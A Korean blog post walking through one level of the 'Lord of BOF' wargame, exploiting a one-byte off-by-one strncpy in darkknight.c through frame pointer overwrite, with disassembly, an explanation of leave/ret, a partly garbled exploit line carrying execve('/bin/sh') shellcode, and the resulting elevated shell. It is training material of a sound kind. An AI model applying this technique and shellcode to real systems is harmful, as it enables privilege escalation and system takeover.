본문 바로가기

워게임/lord of bof

level 11 -> 12


[golem@localhost golem]$ cat darkknight.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO

*/


#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

char buffer[40];

strncpy(buffer, src, 41);

printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

if(argc<2){

printf("argv error\n");

exit(0);

}


problem_child(argv[1]);

}

 


이번 문제의 힌트는 FPO..찾아보니 프레임 포인터 오버라이트라고 하네요.


거기다가 strncpy로 40바이트가 아닌 41바이트라고하니 SFP에 1byte만 덮어씌우는것 같네요.


그렇다면 어떻게 1바이트만 덮어씌워서 쉘을 띄울 수 있는가가 문제겠죠?


`perl -e 'print "A"x40'`을 인자로 주고 SFP를 보니 0xbffffa00이네요.. 마지막 0x00바이트만 수정 가능합니다.


이때 사용하는 방법이 프레임 포인터 라이팅 기법인데요.. 우선 leave와 ret에 대해 설명드리겠습니다.


leave;ret;은 풀어서 나타내면


//leave;

mov esp, ebp

pop ebp


//ret;

pop eip

jmp eip


이렇게 생겼는데


우선 mov esp, ebp 과정을 통해 ebp 값(sfp가 있는 곳)을 esp에 넣어줍니다. 그럼 esp가 sfp가 있는 위치로 이동하겠네요. 

여기서 pop ebp를 통해 sfp의 값을 ebp에 저장해주는데, 동시에 스택에서 4byte 할당된 값이 pop되었으니 esp는 +4가 됩니다.


음 그렇다면 esp가 sfp가 있는 곳을 가리키고 있는데 pop을 통해 4byte가 더해진 값을 가지고 있다고 하면?? sfp 다음에 오는 ret를 가리키겠군요!


여기서 ret과정을 통해 pop eip를 해서 ret의 값을 eip에 넣고 해당 주소로 점프합니다. 저희가 잘 알고있는 bof도 이런식으로 수정된 ret 값으로 점프하는겁니다.


(gdb) disas problem_child 

Dump of assembler code for function problem_child:

0x8048440 <problem_child>: push   %ebp

0x8048441 <problem_child+1>: mov    %ebp,%esp

0x8048443 <problem_child+3>: sub    %esp,40

0x8048446 <problem_child+6>: push   41

0x8048448 <problem_child+8>: mov    %eax,DWORD PTR [%ebp+8]

0x804844b <problem_child+11>: push   %eax

0x804844c <problem_child+12>: lea    %eax,[%ebp-40]

0x804844f <problem_child+15>: push   %eax

0x8048450 <problem_child+16>: call   0x8048374 <strncpy>

0x8048455 <problem_child+21>: add    %esp,12

0x8048458 <problem_child+24>: lea    %eax,[%ebp-40]

0x804845b <problem_child+27>: push   %eax

0x804845c <problem_child+28>: push   0x8048500

0x8048461 <problem_child+33>: call   0x8048354 <printf>

0x8048466 <problem_child+38>: add    %esp,8

0x8048469 <problem_child+41>: leave  

0x804846a <problem_child+42>: ret    

0x804846b <problem_child+43>: nop   


fpo 기법은 다음과 같이 이루어집니다.


problem_child의 leave 과정에서 mov esp, ebp 과정으로 ebp에 있는 sfb 값을 esp에 넣어줍니다.


이후 esp가 sfp로 이동하고 pop ebp 과정을 통해서 sfp(변조된 값)가 ebp에 저장됩니다.


여기서 변조된 값이라고 하면 저희가 임의로 설정한 1byte가 포함된 값이겠죠?


그리고 problem_child의 ret 과정에서 ret를 통해 main함수로 돌아옵니다.


main함수의 leave 과정에서도 esp에 아까 변조된 값인 ebp 값을 넣어줍니다. 그리고 pop을합니다.

pop으로 인해 esp 값은 변조된 주소+4byte가 됩니다.


main의 ret 과정에서 pop eip가 됩니다.. 즉 변조된 주소+4byte의 값이 eip로 박히지요.


그러니까 여기다가 shellcode의 주소를 넣으면 됩니다.


즉.. 변조할 값을 스택이 저장되는 주소-4byte로 설정하고 스택의 첫 4byte는 스택의 주소+4byte로 설정한 후, 그 다음엔 쉘코드 넣으면 된다는거죠.


[golem@localhost test]$ cd ..

xcd\x80", "\x90"x12, "\x80"'`\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x

???픐h//shh/bin??S??

                        것€????????????€?퓹?     

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$ my-pass                                                                          

euid = 512

new attacker

bash$ 


이 문서 완전 도움되요! http://research.hackerschool.org/Datas/Research_Lecture/sfp.txt


'워게임 > lord of bof' 카테고리의 다른 글

level 13 -> 14  (0) 2015.10.23
level 12 -> 13  (0) 2015.10.23
level 10 -> 11  (0) 2015.10.23
level 9 -> 10  (0) 2015.10.23
level 8 -> 9  (0) 2015.10.23